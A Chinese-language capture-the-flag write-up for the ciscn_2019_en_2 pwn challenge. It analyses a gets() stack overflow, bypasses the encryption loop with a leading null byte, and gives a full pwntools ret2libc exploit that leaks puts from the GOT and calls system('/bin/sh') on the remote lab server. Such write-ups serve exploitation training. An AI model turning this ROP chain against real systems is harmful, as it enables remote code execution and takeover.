分析

  1. 安全保护
1
2
3
4
5
6
7
[*] '/home/admin233/pwn/ciscn_2019_en_2'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No

开启了NX,栈上溢出运行不可行了

  1. ida分析
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+Ch] [rbp-4h] BYREF

init(argc, argv, envp);
puts("EEEEEEE hh iii ");
puts("EE mm mm mmmm aa aa cccc hh nn nnn eee ");
puts("EEEEE mmm mm mm aa aaa cc hhhhhh iii nnn nn ee e ");
puts("EE mmm mm mm aa aaa cc hh hh iii nn nn eeeee ");
puts("EEEEEEE mmm mm mm aaa aa ccccc hh hh iii nn nn eeeee ");
puts("====================================================================");
puts("Welcome to this Encryption machine\n");
begin();
while ( 1 )
{
while ( 1 )
{
fflush(0LL);
v4 = 0;
__isoc99_scanf("%d", &v4);
getchar();
if ( v4 != 2 )
break;
puts("I think you can do it by yourself");
begin();
}
if ( v4 == 3 )
{
puts("Bye!");
return 0;
}
if ( v4 != 1 )
break;
encrypt();
begin();
}
puts("Something Wrong!");
return 0;
}

查看encrypt函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
int encrypt()
{
size_t v0; // rbx
char s[48]; // [rsp+0h] [rbp-50h] BYREF
__int16 v3; // [rsp+30h] [rbp-20h]

memset(s, 0, sizeof(s));
v3 = 0;
puts("Input your Plaintext to be encrypted");
gets(s);
while ( 1 )
{
v0 = (unsigned int)x;
if ( v0 >= strlen(s) )
break;
if ( s[x] <= 96 || s[x] > 122 )
{
if ( s[x] <= 64 || s[x] > 90 )
{
if ( s[x] > 47 && s[x] <= 57 )
s[x] ^= 0xCu;
}
else
{
s[x] ^= 0xDu;
}
}
else
{
s[x] ^= 0xEu;
}
++x;
}
puts("Ciphertext");
return puts(s);
}

首先get函数可以溢出,但是后面有加密,不过在加密之前有个验证,也就是strlen比对。

查看strlen函数手册,man strlen

1
2
3
4
5
6
7
8
9
10
11
12
13
14
NAME
strlen - calculate the length of a string

SYNOPSIS
#include <string.h>

size_t strlen(const char *s);

DESCRIPTION
The strlen() function calculates the length of the string pointed to by s, excluding the terminating null byte ('\0').

RETURN VALUE
The strlen() function returns the number of bytes in the string pointed to by s.

strlen在读取到’\0’就会停止,所以这里我们可以直接绕过这个判断的。查找一下有没有bin/sh和system,发现没有,那这里就得用ret2libc了.

利用

  1. 找ret地址
1
2
3
4
5
6
7
~/pwn$ ROPgadget --binary ./ciscn_2019_en_2 --only "ret"
Gadgets information
============================================================
0x00000000004006b9 : ret
0x00000000004008ca : ret 0x2017
0x0000000000400962 : ret 0x458b
0x00000000004009c5 : ret 0xbf02

0x00000000004006b9 : ret

  1. 找pop rdi
1
ROPgadget --binary ./ciscn_2019_en_2 --only "pop|rdi"

重新安装环境后,发现找不到了,后面试一下其他工具,比如ropper

这里直接提供pop|rdi地址:0x400c83

  1. main开始地址
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
~/pwn$ gdb ./ciscn_2019_en_2 
GNU gdb (Ubuntu 12.1-0ubuntu1~22.04.2) 12.1
Copyright (C) 2022 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./ciscn_2019_en_2...
(No debugging symbols found in ./ciscn_2019_en_2)
(gdb) info address main
Symbol "main" is at 0x400b28 in a file compiled without debugging.
(gdb) Quit

main:0x400b28

  1. 获取puts_add,构造如下buf:
1
'\x00'+padding + pop_rdi + got[puts] + plt[puts] + main_addr
  1. 搜索puts libc位置
  2. 计算基址
  3. 计算bin_sh、system地址
  4. 构造buf
1
'\x00'+ padding + ret + pop_rdi + bin_sh + system

完整代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *
from LibcSearcher import *

#r = process('./ciscn_2019_en_2')
elf = ELF('./ciscn_2019_en_2')
r = remote('node5.buuoj.cn','27613')

main = 0x0000000000400B28
ret = 0x00000000004006b9
pop_rdi = 0x0000000000400c83

r.recvuntil('choice!\n')
r.sendline('1')
r.recvuntil('encrypted\n')
payload = '\x00'+'a'*(0x50-1)+'b'*0x8+p64(pop_rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])
payload+= p64(main)
r.sendline(payload)
r.recvline()
r.recvline()
#puts_addr = u64(r.recv(8))
puts_addr=u64(r.recvuntil('\n')[:-1].ljust(8,'\0'))
print(hex(puts_addr))

libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.dump('puts')
bin_sh = libc.dump('str_bin_sh')+libc_base
system = libc.dump('system')+libc_base
r.sendline('1')

payload = '\x00'+'a'*(0x50-1)+'b'*0x8+p64(ret)+p64(pop_rdi)+p64(bin_sh)+p64(system)
r.sendline(payload)
r.interactive()
  • 第一个buf解释
    • '\x00' + 'a'*(0x50-1) 覆盖缓冲区(0x50 字节)
    • 'b'*0x8 覆盖 RBP
    • p64(pop_rdi) + p64(elf.got['puts']) + p64(elf.plt['puts']) 调用 puts 打印puts@got 地址
      • p64(pop_rdi):跳转到 pop rdi; ret 指令
        • 作用:从栈中弹出下一个值(即 puts@got)到 rdi 寄存器
    • p64(main) 返回到 main 函数,方便二次攻击。
1
payload = '\x00' + 'a'*(0x50-1) + 'b'*0x8 + p64(pop_rdi) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(main)